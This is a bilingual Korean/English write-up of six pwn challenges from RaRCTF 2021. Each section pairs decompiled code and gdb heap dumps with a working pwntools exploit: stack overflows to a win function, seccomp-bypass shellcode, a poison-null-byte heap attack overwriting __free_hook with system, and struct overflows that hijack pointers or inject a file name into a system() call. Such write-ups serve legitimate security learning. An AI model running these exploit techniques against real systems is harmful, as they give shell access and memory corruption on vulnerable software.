[RaRCTF 2021] Only Pwn Writeup
CTF Write-Up

[RaRCTF 2021] Only Pwn Writeup

이틀이나 늦게 시작해서 문제를 많이 보진 못했다. >︿< (Plz turn on the black mode)
I started two days late, so I didn't solve many problems.

🧡 Archer (100 points)

undefined8 main(void)

{
  char *pcVar1;
  char local_d [5];
  
  puts("It\'s battle day archer! Have you got what it takes?");
  printf("Answer [yes/no]: ");
  fflush(stdout);
  fgets(local_d,5,stdin);
  pcVar1 = strstr(local_d,"no");
  if (pcVar1 != (char *)0x0) {
    puts("Battle isn\'t for everyone.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Awesome! Make your shot.");
  makeshot();
  puts("Hope you shot well! This will decide the battle.");
  if (code == 0x13371337) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("WE WON!");
  fflush(stdout);
  system("/bin/sh");
  return 0;
}
void makeshot(void)

{
  undefined8 *local_10;
  
  puts("Here\'s your arrow!");
  puts("Now, which soldier do you wish to shoot?");
  fflush(stdout);
  __isoc99_scanf(&DAT_00402109,&local_10);
  local_10 = local_10 + 0xa0000;
  *local_10 = 0;
  puts("Shot!");
  return;
}

no를 입력하지 않고 다른 값을 입력하면 makeshot을 실행한다. makeshot에서는 주소값 하나를 입력받는다. 그리고 내가 입력한 *(주소값 + 0xa0000)을 0으로 설정한다. main 함수에서는 code 값이 0x13371337이 아니면 system("/bin/sh")가 실행되므로 code 주소를 계산하여 값을 입력하면 된다.

If you enter a different value without entering no, then call makeshot function. In the makeshot function, we can enter address value. Then set the * (address value + 0xa0000) I entered to zero. In the main function, the system ("/bin/sh") is executed unless the code value is 0x13371337, so you can enter the value by calculating the code address.

from pwn import *

p = remote('193.57.159.27', 47836)

p.sendlineafter(':', 'yes')
p.sendlineafter('?', 'fffffffffff04068')

p.interactive()

 

🧡 ret2winRaRs (150 points)

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Hello, welcome to the WinRaRs!");
  printf("Please enter your WinRaR license key to get access: ");
  get_license();
  puts("Thanks for the license :)");
  return 0;
}
void get_license(void)

{
  char local_28 [32];
  
  gets(local_28);
  return;
}
void flag(void)

{
  system("/bin/cat flag.txt");
  return;
}

간단한 bof 문제다. RET를 flag 함수 주소로 덮어쓰면 된다.

It's a simple bof problem. You can overwrite ret with a flag function address.

from pwn import *

p = remote('193.57.159.27', 26141)

p.sendlineafter('access:', 'A'*40 + p64(0x401016) + p64(0x401162))

p.interactive()

 

🧡 Not That Simple (250 points)

undefined8 main(void)

{
  char local_58 [80];
  
  install_seccomp();
  printf("Oops, I\'m leaking! %p\n",local_58);
  puts(&DAT_00402050);
  printf("> ");
  fflush(stdout);
  gets(local_58);
  puts("Hah! You didn\'t seriously think it was that simple?");
  return 0;
}
void install_seccomp(void)

{
  int iVar1;
  undefined2 local_18 [4];
  undefined1 *local_10;
  
  local_18[0] = 0xe;
  local_10 = filter.2921;
  iVar1 = prctl(0x26,1,0,0,0);
  if (iVar1 < 0) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
                    /* WARNING: Subroutine does not return */
    exit(2);
  }
  iVar1 = prctl(0x16,2,local_18);
  if (iVar1 < 0) {
    perror("prctl(PR_SET_SECCOMP)");
                    /* WARNING: Subroutine does not return */
    exit(2);
  }
  return;
}

seccomp bypass 문제다. 허용되는 syscall은 다음과 같다.

It's a secomp bypass problem. The allowed syscalls are as follows.

시스템 관련 함수는 모두 막혀있으므로 open, read, write syscall을 이용해야 한다.

All system-related functions are blocked, so open, read, and write syscall should be used.

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./notsimple')
p = remote('193.57.159.27', 37284)

p.recvuntil('! ')
stack_leak = int(p.recv(14), 16)

shellcode = ''
shellcode += shellcraft.pushstr('../setup.sh')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 0x222)
shellcode += shellcraft.write(1, 'rsp', 0x222)
shellcode = asm(shellcode)

p.sendlineafter('>', shellcode + '\x90'*(88-len(shellcode)) + p64(stack_leak))
p.interactive()

 

🧡 Unintended (400 points)

void main(void)

{
  long lVar1;
  uint uVar2;
  int iVar3;
  void *pvVar4;
  size_t __nbytes;
  uint local_20;
  uint local_1c [3];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts("Welcome to the RaRCTF 2021 Admin Panel!");
  puts("This totally has effect on the actual challenges!");
  do {
    iVar3 = menu();
    if (iVar3 == 4) {
      printf("Challenge number: ");
      __isoc99_scanf(&DAT_001020dd,local_1c);
      if ((local_1c[0] < 10) && (*(long *)(challenges + (ulong)local_1c[0] * 8) != 0)) {
        free(*(void **)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x20));
        free(*(void **)(challenges + (ulong)local_1c[0] * 8));
        *(undefined8 *)(challenges + (ulong)local_1c[0] * 8) = 0;
        ctftime_rating = ctftime_rating + -3;
      }
      else {
        puts("Error: invalid index");
      }
    }
    else {
      if (4 < iVar3) {
LAB_001017db:
        puts("I guess we\'re done here.");
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      if (iVar3 == 3) {
        printf("Challenge number: ");
        __isoc99_scanf(&DAT_001020dd,local_1c);
        if ((local_1c[0] < 10) && (*(long *)(challenges + (ulong)local_1c[0] * 8) != 0)) {
          puts("Deploying...");
          printf("Category: %s\n",*(undefined8 *)(challenges + (ulong)local_1c[0] * 8));
          printf("Name: %s\n",*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x10);
          printf("Description: %s\n",
                 *(undefined8 *)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x20));
        }
        else {
          puts("Error: invalid index");
        }
      }
      else {
        if (3 < iVar3) goto LAB_001017db;
        if (iVar3 == 1) {
          printf("Challenge number: ");
          __isoc99_scanf(&DAT_001020dd,local_1c);
          uVar2 = local_1c[0];
          if ((local_1c[0] < 10) && (*(long *)(challenges + (ulong)local_1c[0] * 8) == 0)) {
            pvVar4 = malloc(0x30);
            *(void **)(challenges + (ulong)uVar2 * 8) = pvVar4;
            printf("Challenge category: ");
            read(0,*(void **)(challenges + (ulong)local_1c[0] * 8),0x10);
            printf("Challenge name: ");
            read(0,(void *)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x10),0x10);
            printf("Challenge description length: ");
            __isoc99_scanf(&DAT_001020dd,&local_20);
            lVar1 = *(long *)(challenges + (ulong)local_1c[0] * 8);
            pvVar4 = malloc((ulong)local_20);
            *(void **)(lVar1 + 0x20) = pvVar4;
            printf("Challenge description: ");
            read(0,*(void **)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x20),(ulong)local_20
                );
            printf("Points: ");
            __isoc99_scanf(&DAT_001020dd,*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x28);
            puts("Created challenge!");
          }
          else {
            puts("Error: invalid index");
          }
        }
        else {
          if (iVar3 != 2) goto LAB_001017db;
          printf("Challenge number: ");
          __isoc99_scanf(&DAT_001020dd,local_1c);
          if ((local_1c[0] < 10) && (*(long *)(challenges + (ulong)local_1c[0] * 8) != 0)) {
            iVar3 = strncmp("web",*(char **)(challenges + (ulong)local_1c[0] * 8),3);
            if (iVar3 == 0) {
              printf("New challenge description: ");
              __nbytes = strlen(*(char **)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x20));
              read(0,*(void **)(*(long *)(challenges + (ulong)local_1c[0] * 8) + 0x20),__nbytes);
              puts("Patched challenge!");
              ctftime_rating = ctftime_rating + -5;
            }
            else {
              puts("Challenge does not need patching, no unintended.");
            }
          }
          else {
            puts("Error: invalid index");
          }
        }
      }
    }
    if (ctftime_rating < 1) {
      puts("Well... great.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  } while( true );
}

바이너리에 대한 설명은 딱히 하지 않고 중요한 부분만 집고 넘어가겠다.
1. 입력을 받는 부분에서 Off-by-One가 발생한다.
2. delete와 edit 기능을 사용할 때마다 ctftime_rating이 줄어든다. 이 ctftime_rating이 1보다 작으면 프로그램이 종료된다. ctftime_rating의 초기값은 25이다.

I won't explain the binary, but I'll just point out the important parts.
1. Off-by-One occurs where input is received.
2. Each time the delete and edit functions are used, the ctftime_rating is reduced. If this ctftime_rating is less than 1, the program terminates. The initial value of cftime_rating is 25.

난 처음에 이 ld가 주어지지 않았다고 생각했고 당연히 FULL RELRO가 걸려 있을 줄 알았는데 문제를 다 풀고 다시 확인해봤떠니 Partial RELRO 였다. 🤣 그래서 셀프로 난이도를 상승시켜서 풀어버렸다. 😅

I didn't think this ld was given at first and of course I thought FULL RELRO would be on the line, but when I solved all the problem and checked again, it was Partial RELRO. 🤣 So I increased the difficulty level by myself and solved it. 😅

문제를 푸는데 핵심적인 요소는 Off-by-One이다. 힙 사이즈 조작이 가능하기 때문에 Poison NULL Byte Attack이 가능하다. 이를 이용해 Overlapping Chunks를 발생시켜 AAW가 가능해진다.

The key factor in solving the problem is off-by-one. Because we can manipulate the heap size, we can attack poison null byte. Using this, it generates overlapping chunks, which enables aaw.

다음 예시를 살펴보자.

Let's look at the next example.


먼저 힙 6개를 할당한다. (참고로, attach로 붙어서 디버깅 하기 때문에 힙 오프셋은 계속 바뀌니 주의해서 봐야한다.)
First, allocate 6 heaps. (For your information, the heap offset keeps changing because of ASLR.)

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555841db3000      0x0                 0x250                Used                None              None
0x555841db3250      0x0                 0x40                 Used                None              None
0x555841db3290      0x0                 0x40                 Used                None              None
0x555841db32d0      0x0                 0x40                 Used                None              None
0x555841db3310      0x0                 0x20                 Used                None              None
0x555841db3330      0x4242424242424242  0x40                 Used                None              None
0x555841db3370      0x0                 0x50                 Used                None              None
0x555841db33c0      0x0                 0x40                 Used                None              None
0x555841db3400      0x0                 0x20                 Used                None              None
0x555841db3420      0x4343434343434343  0x40                 Used                None              None
0x555841db3460      0x0                 0x510                Used                None              None
0x555841db3970      0x0                 0x40                 Used                None              None
0x555841db39b0      0x0                 0x20                 Used                None              None

그리고, 4번 힙의 사이즈를 0x50으로 바꾸고, 3 -> 4 -> 0번 순으로 free한다.

Next, change the size of heap 4 to 0x50, followed by free 3 -> 4 -> 0.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x55d5b7562000      0x0                 0x250                Used                None              None
0x55d5b7562250      0x0                 0x40                 Freed     0x55d5b75622a0              None
0x55d5b7562290      0x0                 0x40                 Freed     0x55d5b75623d0              None
0x55d5b75622d0      0x0                 0x40                 Used                None              None
0x55d5b7562310      0x0                 0x20                 Used                None              None
0x55d5b7562330      0x4242424242424242  0x40                 Used                None              None
0x55d5b7562370      0x0                 0x50                 Used                None              None
0x55d5b75623c0      0x0                 0x40                 Freed                0x0              None
0x55d5b7562400      0x0                 0x20                 Freed                0x0    0x55d5b7562010
0x55d5b7562420      0x4444444444444444  0x50                 Freed                0x0    0x55d5b7562010
Corrupt ?!
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55d5b75629d0 (size : 0x20630) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55d5b7562460 (size : 0x510)
(0x20)   tcache_entry[0](1): 0x55d5b7562410
(0x40)   tcache_entry[2](3): 0x55d5b7562260 --> 0x55d5b75622a0 --> 0x55d5b75623d0
(0x50)   tcache_entry[3](1): 0x55d5b7562430 (overlap chunk with 0x55d5b7562460(freed) )

0x50 만큼의 사이즈를 가진 tcache_entry를 보면 overlapping chunks가 발생했음을 알 수 있다. 즉, 0x40 사이즈의 힙을 할당하면 끝이 430으로 끝나는 힙에 새롭게 할당이 되는데, 저 주소 밑에는 0x500 만큼의 사이즈를 가진 힙(4)이 존재한다. 현재 4번 힙은 free된 상태이기 때문에 unsorted bin에 들어가있고, fd와 bk에 main_arena의 주소가 박혀있을 것이다. 원래 3번 힙의 description length는 0x20이어서 4번 힙까지 접근이 불가능했지만, 현재는 0x50으로 바뀌었기 때문에 heap overflow가 발생한다. 즉, 새롭게 힙을 할당해 main_arena가 적힌 위치 전까지 더미 값으로 덮고, 해당 힙의 정보를 조회하면 main_arena 주소를 leak 할 수 있다. ld가 있을 경우는 top chunk size보다 더 큰 힙을 할당하면 mapping되는 주소가 적히게 되는데 그 주소를 leak 하면 된다.

The tcache_entry in size 0x50 indicates that overlapping chunks have occurred. In other words, allocating a 0x40 heap gives a new allocation to a heap ending in 430 where there is a heap (4) with a size of 0x500 below that is below that address. Heap 4 is currently free, so it will be in the unsorted bin and the main_arena's address will be existed in fd and bk. Originally, the description length of heap 3 was 0x20, so it was not accessible to heap 4, but now it has changed to 0x50, resulting in heap overflow. In other words, the heap can be newly assigned and covered with dummy values until the location where the main_arena is written, and the main_arena address can be retrieved by inquiring the information of the heap. If ld is present, assigning a heap larger than the upper chunk size will write down the mapped address.

main_arena를 leak 하고 난 뒤에 힙 메모리는 다음과 같다.

 

After leaking main_arena, the heap memory is as follows.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x55ea63ec9000      0x0                 0x250                Used                None              None
0x55ea63ec9250      0x0                 0x40                 Used                None              None
0x55ea63ec9290      0x0                 0x40                 Freed     0x55ea63ec93d0              None
0x55ea63ec92d0      0x0                 0x40                 Used                None              None
0x55ea63ec9310      0x0                 0x20                 Used                None              None
0x55ea63ec9330      0x4242424242424242  0x40                 Used                None              None
0x55ea63ec9370      0x0                 0x50                 Used                None              None
0x55ea63ec93c0      0x0                 0x40                 Freed                0x0              None
0x55ea63ec9400      0x0                 0x20                 Freed                0x0    0x55ea63ec9010
0x55ea63ec9420      0x4444444444444444  0x50                 Freed 0x57575757575757570x5757575757575757
Corrupt ?!
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55ea63ec99d0 (size : 0x20630) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55ea63ec9460 (size : 0x5757575757575750)
(0x20)   tcache_entry[0](1): 0x55ea63ec9410
(0x40)   tcache_entry[2](2): 0x55ea63ec92a0 --> 0x55ea63ec93d0

이제는 fd를 __free_hook으로 덮어쓸 일만 남았다. 그런데 여기서 문제가 발생한다. 이 문제에서는 한 개의 힙을 생성하면 0x20 만큼의 사이즈를 가진 힙과 0x40 만큼의 사이즈를 가진 힙이 생성된다. 즉, 사이즈별로 하나씩 생성되는 셈인데, 2개의 힙을 할당했을 경우를 생각해보자. 첫번째 힙은 410으로 끝나는 힙과 2a0으로 끝나는 힙 공간을 사용할 것이다. 이제 두번째 힙을 할당하려고 보니 0x20 만큼의 사이즈를 가진 free된 힙이 존재하지 않아 unsorted bin에서 새롭게 할당을 받게 된다. 그런데 현재 unsorted bin의 사이즈가 0x5757575757575750 이다. malloc 함수에서는 unsorted bin의 크기가 정상적인지 검사하는 루틴이 있기 때문에 memory corruption이 발생하게 된다. 이를 해결하기 위해 우리는 tcache_entry 안에 있는 힙의 개수를 맞춰줘야 한다. 

 

All that remains is to overwrite fd with __free_hook. But there is a problem here. In this problem, creating a heap creates a heap with a size of 0x20 and a heap with a size of 0x40. In other words, it is created one by one size, but let's think about the case where two heaps are allocated. The first heap will use heap space ending in 410 and heap space ending in 2a0. Now that we're trying to allocate a second heap, we don't have a free heap with a size of 0x20, so it gets a new freed memory from unsorted bin. However, the size of the unsorted bin is 0x57575757575757550. In the malloc function, a memory corruption occurs because there is a routine to check the size of unsorted bins is normal. To solve this problem, we need to match the number of heap in tcache_entry.

 

위에서 했던 방법과 똑같이 Overlapping chunks를 발생시켜 tcache_entry의 크기를 맞추고, fd를 덮어써보도록 하자.

 

Let's create Overlapping chunks as we did above to size the tcache_entry and overwrite the fd.

from pwn import *

context.log_level = 'debug'
p = remote('193.57.159.27', 55446)

def add(number, category, name, length, description, point):
    p.sendlineafter('>', '1')
    p.sendlineafter(':', str(number))
    p.sendlineafter(':', category)
    p.sendlineafter(':', name)
    p.sendlineafter(':', str(length))
    p.sendlineafter(':', description)
    p.sendlineafter(':', str(point))

def edit(number, description):
    p.sendlineafter('>', '2')
    p.sendlineafter(':', str(number))
    p.sendafter(':', description)

def delete(number):
    p.sendlineafter('>', '4')
    p.sendlineafter(':', str(number))

add(0, 'web', 'AAAA', 0x30, 'AAAA'*6, '100')
add(1, 'web', 'BBBB', 24, 'BBBB'*6, '100')
add(2, 'web', 'CCCC', 0x40, 'CCCC'*6, '100')
add(3, 'web', 'CCCC', 24, 'CCCC'*6, '100')
add(4, 'web', 'CCCC', 0x500, 'CCCC'*6, '100')
add(5, 'web', 'CCCC', 24, 'CCCC'*6, '100')

edit(3, 'D'*24 + '\x50')

delete(3)
delete(4)
delete(0)

add(7, 'web', 'FFFF', 0x40, 'W'*0x40, '100')

p.sendlineafter('>', '3')
p.sendlineafter(':', '7')
p.recvuntil('W'*0x40)

leak = u64(p.recv(6).ljust(8, '\x00'))
base = leak - 0x10 - 0x3ebc30 - 96
free_hook = base + 0x3ed8e8
system = base + 0x4f550

log.success('main_arena => %s' % hex(leak))
log.success('libc base => %s' % hex(base))

edit(1, 'D'*24 + '\xf0')

delete(2)
add(6, 'web', 'EEEE', 0xe0, 'Q'*0x40 + p64(free_hook)*11, '100')
add(8, '/bin/sh\x00', '/bin/sh\x00' , 0x40, '/bin/sh\x00', '100')

add(9, p64(system), p64(system) , 0x40, p64(system), '100')

delete(8)

p.interactive()

 

🧡 RaRMony (500 points)

이 문제는 함수가 너무 많아서 취약점이 발생하는 부분만 설명하도록 하겠다. 일단, init 함수를 통해 힙이 생성된다. 힙의 구조는 다음과 같다. 이게 왜 500점?

 

This problem has so many functions that I will try to explain only the areas where vulnerabilities occur. First, the init function produces a heap. The structure of the heap is as follows.

취약점은 update_username 함수에서 발생한다. username의 size는 최대 32칸 까지만 입력해야 하지만, 40칸까지 입력이 가능해 update_username을 가리키는 포인터를 덮어쓸 수 있다. 해당 부분을 set_role 함수로 바꿔 권한을 상승시키고, 2번 채널을 읽으면 flag를 획득할 수 있다.

 

The vulnerability exists in the function update_username. The size of username should be up to 32 spaces, but it can be inputted up to 40 spaces to overwrite the pointer pointing to update_username. Changing the part to the set_role function to raise the authority, and read channel 2 to get a flag.

from pwn import *

context.log_level = 'debug'
p = remote('193.57.159.27', 28484)

def read_channel(idx):
    p.sendlineafter('>', '0')
    p.sendlineafter('>', str(idx))

#def print_user_info():

def update_role(name):
    p.sendlineafter('>', '2')
    p.sendlineafter(':', name)

def update_username(name): #overflow overwrite update_username
    p.sendlineafter('>', '3')
    p.sendlineafter(':', name)

update_username('A'*0x20 + p64(0x9040153b))
read_channel(2)

p.interactive()

 

🧡 OOP (600 points)

이 문제는 함수가 너무 많아서 취약점이 발생하는 부분만 설명하도록 하겠다. 이 문제에서 생성된 구조체는 이렇게 생겼다.

 

This problem has so many functions that I will try to explain only the areas where vulnerabilities occur. The structure created in this problem looks like this.

class Animal {
public:
	virtual void Age();
	virtual void PrintInfo();
	virtual int Sell() = 0;
	void Translate();
	void SetName();
	virtual ~Animal() = default;
	char type[16];
	bool dead = false;
	uint8_t max_age;
	uint8_t hunger = 0;
protected:
	uint8_t age = 1;
	char name[16];
};

name 배열에는 총 0x10 만큼의 사이즈가 할당되어 있는데, SetName 함수에서는 최대 0x40칸 까지 이름을 입력받을 수 있다. 즉, 0번 구조체의 이름을 변경하면 1번 구조체에 overflow가 일어나 type, dead, max_age, hunger, age의 값을 덮어쓸 수 있다.

 

The name array has a total size of 0x10; the SetName function allows you to enter up to 0x40 spaces of name. This means that changing the name of structure 0 causes overflow in structure 1, which overwrites the values of type, dead, max_age, hunter, and age.

void Animal::SetName() {
	printf("What will you name your new animal? ");
	flush();
	unsigned char c;
	int read = 0;
	while ((c = getchar()) != '\n' && read < 64) {
		this->name[read] = c;
		read++;
	}
}

Sell 함수는 max_age의 값을 토대로 동물을 팔 때 비용을 결정한다. 특정 조건이 맞아야 높은 비용을 받을 수 있지만, 우리는 max_age를 덮어쓸 수 있기 때문에 이를 이용해 돈 복사가 가능하다.

 

The Sell function determines the cost of selling animals based on the value of max_age. Although certain conditions must be met to receive high costs, we can use them to make money infinitely because we can overwrite max_age.

int Cow::Sell() {
	int middle = this->max_age / 2;
	int max = COST_COW * 5;
	if (this->age == middle) {
		return max;
	}
	return std::round(max / std::abs(this->age - middle));
}

int Pig::Sell() {
	int middle = this->max_age / 2;
	int max = COST_PIG * 5;
	if (this->age == middle) {
		return max;
	}
	return std::round(max / std::abs(this->age - middle));
}

이 함수는 1000원을 내야 사용할 수 있는 함수다. this->type을 포멧스트링으로 받아 cowsay로 해당 파일의 내용을 출력해준다. 원래라면 cow.txt나 pig.txt를 읽는데 사용되는 함수지만, 위에서 말했다싶이 type 배열도 덮어쓸 수 있기 때문에 type을 flag로 변경하여 flag.txt를 읽을 수 있게 된다.

 

This is a function that can only be used for 1,000$. This ->type is received as a format string and the contents of the file are printed on Coway. Originally a function used to read cow.txt or pig.txt, but said above. The type array can also be overwritten, so the type can be changed to "flag" to read flag.txt.

void Animal::Translate() {
	char buf[1024];
	sprintf(buf, "/usr/games/cowsay -f ./%s.txt 'Feed me!'", this->type);
	system(buf);
}
from pwn import *

context.log_level = 'debug'
p = remote('193.57.159.27', 25295)

def buy(idx, name):
    p.sendlineafter('>', '3')
    p.sendlineafter('>', str(idx))
    p.sendlineafter('?', name)

def set_name(idx, name):
    p.sendlineafter('>', '2')
    p.sendlineafter('?', str(idx))
    p.sendlineafter('>', '3')
    p.sendlineafter('?', name)

def sell(idx):
    p.sendlineafter('>', '2')
    p.sendlineafter('?', str(idx))
    p.sendlineafter('>', '1')

def view():
    p.sendlineafter('>', '1')

buy(1, 'AAAA')
buy(1, 'BBBB')

for i in range(0, 3):
    set_name(0, 'A'*0x14 + p64(0) + p64(0x41) + p64(0x404d78) + p64(0x676970) + p64(0) + p32(0x02090900))    
    sell('1')
    buy(1, 'CCCC')

buy(1, 'DDDD')
set_name(1, 'A'*0x14 + p64(0) + p64(0x41) + p64(0x404d78) + p64(0x67616c66) + p64(0) + p32(0x02090900))

p.interactive()